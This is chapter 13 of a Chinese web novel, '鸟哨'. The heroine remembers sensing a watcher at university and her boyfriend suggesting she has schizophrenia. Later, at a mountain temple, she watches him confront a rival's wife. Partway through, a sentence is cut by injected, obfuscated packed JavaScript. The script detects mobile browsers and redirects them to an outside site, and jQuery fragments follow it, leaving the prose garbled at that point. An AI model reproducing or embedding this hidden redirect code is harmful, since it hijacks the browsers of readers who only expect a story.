13. 温柔注视

作品:《鸟哨

    似乎是大三上学期,宁蓁隐隐约约觉得有人在背后看她。


    有门通识课在晚上,讲文明通论,所有专业的必修。当天她课表排得满满当当,上午体育、英语,下午两门专业课,几乎刚听见下课音乐就要抱起书飞奔,根本来不及提前占座。


    阶梯教室座位一层比一层高,人们时而无聊,视线齐刷刷射向教室门口。


    宁蓁就站在那儿茫然地寻找位置。山顶膨胀喧嚣,没几个空位,偶尔看见还被人抢先。每次她都被推向教室正中央,不断和同学弯腰致歉,越过一双双腿,仿佛电影已经开场,而她是迟到的观众。


    她挤不进晚间食堂,只能拿出面包悄悄咬几口。教授开始放PPT了,周围躁动起来:按圆珠笔,手机磕到桌面,笔记本翻来覆去,闲聊且以为别人都听不到……


    大家都在忙。宁蓁就是在那时察觉到,后排有一束直白的目光不偏不倚刺在她背上。


    是错觉吧。


    她浑身打个寒颤,继续啃草莓馅的面包。


    课间,宁蓁举起小化妆镜假装检查妆容,镜子里映出一排排陌生面孔,没有一个眼神与她相汇。


    果然是错觉。


    但哲学课教她们保持怀疑。


    小面包填不饱肚子,下了课,她逆着人流走向供应夜宵的食堂,随便吃碗拉面,呆到快十点。宿舍楼偏远,幸好有条捷径,小道两旁灌木交错丛生,流浪的校猫喜欢在叶片中穿行,经常钻来钻去弄出动静。


    ——那种时轻时重的飒飒声。


    不像猫。


    宁蓁猛地回身,地上却只剩下自己的影子。


    状况持续了几天。她和寝室里一名室友提起,但对方坚信校园内无比安全,没放在心上。


    “筱梦,你最近去上课有没有感觉有人在后面跟着?”


    “没有啊,”室友退缩两步,反过来问,“有人跟踪你?”


    “算不上‘跟踪’,就是感觉有人在看我……”


    空气缄默,筱梦的声调突然拉高:“当然喽!你长得那么漂亮,大家不看你看谁啊。”


    宁蓁勉强笑了笑,不再说话。


    为什么其他人都没有这个烦恼?


    疑心病挥之不去。几周后,文明通论课上,她不再吃小面包了。尽管大家都在忙碌,可她觉得只有自己的动作最刺耳。无论是肉松、黑芝麻还是草莓馅儿的面包,无论表面裹不裹奶酪酱,她撕开包装并咀嚼的声响都犹如滔天骇浪,随时让漫山遍野的视线向她集中。


    讲台上,教授拿着麦克风解释文学研究的方法论,中气十足。


    中间的座位不方便出入,一旦坐下就逃不掉。宁蓁乖乖听讲,端坐着,感觉那缕窥伺的眼神再次摸上来。


    「学校里有人在看着我」


    她偷偷向男朋友求助。对方正在看手机,回复得飞快:


    「跟踪」


    「还是监控?」


    她打字:「没有那么夸张……」


    他的消息接连不断:


    「蓁蓁你知道吗,有种病的症状就是幻听幻视」


    「被迫害妄想,而且怀疑自己的大脑被控制」


    「精神分裂症」


    那阵子莫昭忙于事业,天天出差,两人有段时间没见过面。他偶尔传几张相片来,富丽堂皇的酒店大堂、高脚杯、红酒、游泳池和山区的夜空。


    「这就是被脑控的人」


    「【链接】」


    链接跳转至微博,是一个女孩子的日常生活,语言支离破碎,主语混淆,分不清你我他,后面连着“控制”“手机监视”“跟踪”“迫害”。


    恐怖的字眼冲刷着思绪,从宁蓁背后流下去。


    但她对其中一篇内容印象深刻——“我一手拿着刺刀,一手拿着蝴蝶”。【注1】


    「我带你去医院看看?」


    莫昭拿出言出必行的态度。她连忙打字,终结这个话题。


    “我不可能得了精神分裂症,”二十岁的宁蓁想,“我最近太累了,才疑神疑鬼。”


    她直起腰背,全神贯注听课。


    又过了段时间,宁蓁已经学会与那道视线和平共处。


    窥探的眼神埋在暗处蠢蠢欲动,但她选择相信筱梦说的,相信那些目光来源于欣赏。因为上学期,学生会有意邀她入镜校园宣传片;因为刚开学时室友曾经调侃,连隔着几条街的南校区都有男生喜欢她。


    一切不是毫无根据,她甚至可以当真。


    直至深夜,宁蓁再次走进通往宿舍楼的捷径。夜风四起,灌木丛嘶嘶地响,犹如蛇口张开獠牙,吐出鲜红的信子。


    某个瞬间,嘶嘶声砸在地上,哗的一下炸开。


    有什么东西破裂了。


    水珠顺着手腕往下滑。她懵了,身体动不了,只有沾了水的手机屏幕疯了似的来来回回地滚。


    ……


    不是错觉。


    有人在窥视她。


    尘封的记忆赫然浮出海面,一个大浪猛扑过来,推着宁蓁回头。


    厨房师傅蹲在角落叮叮当当整理碗碟。安唯从缸里舀米,米粒沙沙地倒进盆里。


    “我出去一下。”


    宁蓁逃离厨房,给李肃回拨,解释自己刚才在干活儿,没时间接电话。


    对面洪亮的嗓音冲破听筒:“都玩了好几天了,该回家了吧!”


    她反驳:“我不是在玩。”


    似乎意识到话不合适,李肃收了语气:“这不是担心嘛,怕你身体吃不消啊。”


    宁蓁眉头微蹙,顿了顿。


    荨麻疹发在衣袖底下,脖子上的也被长发掩着,但他们好像都亲眼看见了。


    “我的身体没问题。”


    ——无论如何总比回去参加非遗节目要好。


    “唉,行吧,你自己掂量着来。”李肃不再催她,挂了电话。


    阴天,鸟鸣不停,一连串叽叽喳喳,分外活跃。回到后厨,安唯正盯着窗户外的树枝,如同一只注视小动物的猫。


    宁蓁被大学时的记忆缠绕,心中逐渐生出猜疑。


    “蓁蓁,那些是什么鸟啊。”安唯问。


    厨房变得寒冷。


    鸟的叫声有成千上万种,听过的越多,越无法确定。她目光暗下去:


    “在电线杆上多嘴。”


    对方反应几秒:“哦!麻雀啊,怪不得那么吵。”


    宁蓁戴上手套,拧开水阀。旁边,安唯一边削土豆皮,一边哼起来。


    “你说这一句,很有夏天的感觉,啦啦啦啦啦,那下句什么来着?


    “秋刀鱼——的滋味,猫跟你都想了解——


    “而你的脸颊像田里熟透的番茄——


    “整夜,我的爱溢出就像雨水……”


    她越哼越投入,每句都在调上,唱到后面顺手搬来一筐番茄放进水池。


    “哈哈,”收拾完碗碟的师傅插嘴,“您是专业歌手啊,我这耳朵都透亮了!”


    师傅本地口音浓重,如果这句话落在宁蓁头上,她只会觉得是绕着弯让自己闭嘴。


    可安唯嘿嘿一笑,照单全收。


    “谢谢啦师傅,我以前在酒吧做过驻唱。”


    *


    有人在背后看着,但不是厨房里的人。


    午后,全天最温暖的时候,宁蓁拖着笤帚扫向山门。一辆轿车从阴云中遥遥驶入视野。


    她假装忙碌,没有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071740|163236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    理会莫昭的消息。对话列表里,月白头像被压下去,成了第二顺位。


    对了,是他率先发现她的荨麻疹发作。


    宁蓁转身望了望石阶尽头。古刹与鹭山相对,隐入灰蒙蒙的天色。


    再看手机时,温霖的对话框跃上顶端。


    「我买了新设备」


    「看,600定焦,还算轻便的一款」


    照片里有长焦镜头,焦距比他上次带来的更远,尺寸更大。背景应该是他家,木质桌子干净整洁,后面虚化了书架、壁画和明亮的窗。


    「这几天在忙工作,下周去观鸟」


    「那时候你还在吗?」


    「(贴图)」


    他喜欢用呆小鸟表情包【注2】,看着让人心情愉悦。宁蓁简单回了一句,说暂时不打算离开。


    矮林挨着石阶,里面传来阵阵鸣啼,四连音,很亮,前两声高,第三声往下转折。


    陌生新奇的叫声,以前好像没听过。温霖提及观鸟,她也想找找声音的来源,于是解下黄色的义工马甲攥在手心,拎起笤帚走进林子。


    宁蓁仰头寻觅,准备随时举起手机静音拍照。那边,公路上,两辆车子一前一后紧咬不放,纷纷在正对山门的地方熄了火。


    乳白色轿车位于前方,里面走出一位女士,接着,后方的黑色车门砰的一下关严。


    噪音突如其来,惊起枝头一小团阴影。


    啾啾声消失,敏感多疑的小鸟被吓跑。宁蓁默默叹息,意兴索然地观察起那两个人。


    那位女士穿着贴合身体的白色旗袍,长发用钗盘在脑后,露出美妙的项背和腰线。男人一身墨蓝色,镜片掩不住那双精锐的眼睛。


    “这么巧,能在荒郊野岭遇见成太太。”


    嗓音很耳熟。莫昭有时这么说话,似乎睥睨一切,却在深处藏着玩味。


    女人脚下踩着细高跟鞋,摇摇欲坠,不方便拾级而上。莫昭顺势做个绅士之举,伸出手臂让她搭扶。


    她看了一眼,不领情,放那条手臂悬在空中。


    宁蓁在那一刻望见她的容貌:堪称标致的猫眼,美得不可逼视。


    “哦,这不是莫仁的三儿子吗。”女人说。


    对话剑拔弩张。


    莫昭收了手,哂笑一声:“看来我叫错了,不该叫成太太,应该叫慕容女士。”


    猫一样的美丽女人已婚。她姓成,还是姓慕容?宁蓁躲在暗处思考,忽然想起莫昭讲过竞争对手的婚姻状况,再之前,她和温霖在法堂附近听见人们议论,说成总势在必得。


    所以,这个女人就是传闻中拥有“旺夫命”的妻子。


    “最近流行礼佛么?”不远处,慕容也浅笑几分,“不知道莫总的《心经》研究得怎么样。”


    “‘五蕴皆空,度一切苦厄’,正好我前阵子读过。”


    大学时教授简单讲过《心经》,宁蓁忘得差不多了,只记得经文短小精要,除了开经、结经,正文不过二百多字,后面几句是著名的“色即是空,空即是色”。


    高跟鞋在石阶上踢踏,旗袍侧面的衩随着她抬腿莹莹摆动。


    “你穿这身进寺庙上香,恐怕不合适吧。”莫昭脸上残存着笑意,言语却针锋相对。


    那女士不在乎他的挑衅,仍然悠悠走着。


    “合不合适的,莫总明明心里清楚,”她慵懒掀了眼睫,一句话把他拖下水,“这个节骨眼,谁还有闲心来鹭山焚香?”


    莫昭直视着山门,如实承认:“别人要干什么我倒不清楚,不过你说得对,我不是为了焚香来的。”


    两人身形近在咫尺。宁蓁躲在树丛后,屏住呼吸。


    “我来接女朋友回家。”